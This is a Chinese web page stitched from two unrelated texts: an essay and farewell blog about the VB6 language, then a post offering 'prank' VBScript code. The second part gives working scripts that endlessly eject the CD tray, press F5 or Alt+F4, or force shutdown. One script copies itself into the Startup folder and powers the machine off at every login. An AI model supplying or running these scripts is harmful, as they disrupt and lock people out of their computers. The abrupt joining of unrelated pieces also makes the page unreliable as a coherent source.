VB6是微軟COM（組件對象模型）的成功典范，可以說VB6的成功代表了微軟COM的勝利，然而自微軟.NET戰略推行以后，VB6卻被無情地拋棄。逐漸成為一種比較“古老”不太受人待見的編程語言了。
VB6是面向應用層面的，在桌面應用普及的時代，用其開發各種應用軟件，包括各種大型的ERP系統，雖然其有許多的缺點被一些程序員所詬病，然而瑕不掩瑜，真要塵封卻也有人依依不舍。
編程語言層出不窮，程序員們也是蘿卜青菜各有所愛。去年，國外一個編程問答網站公布了年度的開發者調查報告，VB6 連續第三年成為程序員們最痛恨的語言！
這些最被程序員們討厭的語言依次為VB6、Cobol、CoffeeScript、VB.NET、VBA和Matlab。VB6被討厭的原因很可能是因為薪水過低。
上圖則是最受歡迎你的語言排名。這些最受歡迎的語言分別為Rust、Kotlin、Python、TypeScript、Go、Swift 和 JavaScript。值得注意的是，VB6和Rust都是連續三年當選最佳。
薪水方面， F#、Ocaml、Clojure 和 Groovy是最貴的語言，開發者平均薪酬超過7萬美元。最遭人恨的數據庫是IBM的DB2和Oracle，最遭恨的平臺則是SharePoint，而Linux則當選最受歡迎平臺，Git成為最受歡迎版本控制系統。
不過，無論如何，VB6也還是在某些程序員心中留下了難以忘懷的記憶。比如，有人曾經專門寫博文，記念、告別VB6。
今天寫一篇博文告別使用了15年的VB6，從此終結程序生涯。記得讀大學的時候第一學習編程，用VB6嵌入MediaPlayer控件寫了一個簡易視頻播放器，看著視頻的畫面激動人心，從此就愛上了編程，從此也和VB6接下了不解之緣，大學畢業后進入國內某軟件公司，直到去年離職一直在用VB6開發和維護大型ERP，在業界看來VB6太老了，廉頗老矣尚能飯否？然而真要塵封卻有不舍。
VB6是微軟COM（組件對象模型）的成功典范，可以說VB6的成功代表了微軟COM的勝利，然而自微軟.NET戰略推行以后，VB6卻被無情地拋棄，意味著其推行的COM將逐步退出歷史舞臺，.NET平臺中雖然保留了VB語言，但在國內大部分VB程序員看來其已成了雞肋，在實際工作中不得不換成語言更接近C++的C#。隨著.NET的更新換代，基于COM模型的各種組件仍然存在，然而由于VB6被徹底拋棄，用VC+ATL/MFC開發的OCX等COM組件似乎已無容身之處，放在.NET上去使用已非明智之舉。雖然我的工作IDE已經換成了VS2017，然而仍然喜歡開個裝有XP系統的虛擬機，里面裝著簡潔高效的VC6+VB6開發需要的東西，用VC6+ATL做底層，VB6做應用，已成為習慣。
VB6是面向應用層面的，在桌面應用普及的時代，用其開發各種應用軟件，包括各種大型的ERP系統，雖然其有許多的缺點被一些程序員所詬病，然而瑕不掩瑜，不足之處可以用VC來彌補，因此，在ERP系統中，涉及底層的東西我們就用高效的VC6+ATL來實現，應用層面的我們就用VB6來呈現，這樣一個健壯的桌面應用系統就應運而生，只要Windows操作系統支持，用上30年也不會出問題，架構的牢固程序員日常也就只關心用戶需求的業務轉化。
下面是日常工作中的一些模塊測試程序，采用VC6+ATL做底層，采用VB6做界面，在Win10上工作得很好，運行效率很高，作為紀念張貼出來。希望某一天微軟能把VB6開源吧，優秀的語言不應讓其沉沒！
VB好嗎？好。遺憾，這一切隨著程序生涯的結束，已成為歷史，再見！……
現在國內還有軟件公司還在維護用VB開發的系統，但VB的人很難招了，所以薪資開的高，開發和維護ERP系統靠的是經驗和業務水平，一個新手培養起來等完全勝任工作大概需要2年時間，等你培養好了人家就飛走了，隨著時間推移，系統的復雜性，能把控各種模塊，精熟各種業務的人會越來越少，幾百萬行的代碼那是實實在在的，不是IDE自動生成的，越到后面越難維持，所以人事會打電話給已離職的老員工，工資開高點。由于人難招現在弄個人進來3個月就上陣改BUG，系統只有死得更快走。了不回來好，不必受累，畢竟時代在變，辭舊迎新是必然，等到哪天網絡帶寬成本徹底解決后，這些問題都解了。
【獵豹網校楊老師日志】說說IT那點事兒，歡迎關注我哦~~
大家好！我是蒙面科技，第一次開通頭條號，給大家分享一個電腦整蠱代碼，實現起來特別簡單，只用到電腦上的記事本即可。
大神勿噴·簡單教程，好了話不多說，開整！
第一步：
咱們先在自己電腦桌面新建一個TXT文本文檔即可
第二步：
輸入msgbox "一大波病毒正在靠近" 點擊文件->另存為->重命名為“新建文本文檔.vbs
雙擊“新建文本文檔.vbs”這個時候就會彈出一個對話框了
當然你還可以右鍵編輯里面添加更多你想讓他彈出來的文字
雙擊打開。此時，會彈出提示對話框，點擊確定和關閉按鈕之后，再一次彈出窗口，如此循環，無法正常關閉。
那么到底要如何才能關閉呢？打開任務管理器結束進程“wscript.exe”即可
到此新手教學完畢，下面進入大神課堂教學。
無限彈出光驅：
------------------------------------------------
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
------------------------------------------------
無盡語音報數：
無限語音從1數到無限大。
------------------------------------------------
Set s=CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
無盡刷新：
慎用，如此刷新打開任務管理器都難，只能拔掉電源。
------------------------------------------------
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
------------------------------------------------
修改注冊表：
------------------------------------------------
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f=wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide
------------------------------------------------
直接關機：
------------------------------------------------
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
------------------------------------------------
不斷按下alt+f4 ：
打開任何程序都關掉
------------------------------------------------
dim WSHshell
set WSHshell=wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
------------------------------------------------
開玩笑也得有個度，凡事都不要太過。上面的代碼的尺度還不算很大，大家可以玩玩。
如你覺得蒙面科技寫的不錯，可以給蒙面科技一點小小的支持點個贊評論一下哦，如果你也喜歡計算機網絡技巧，可以點擊關注哦！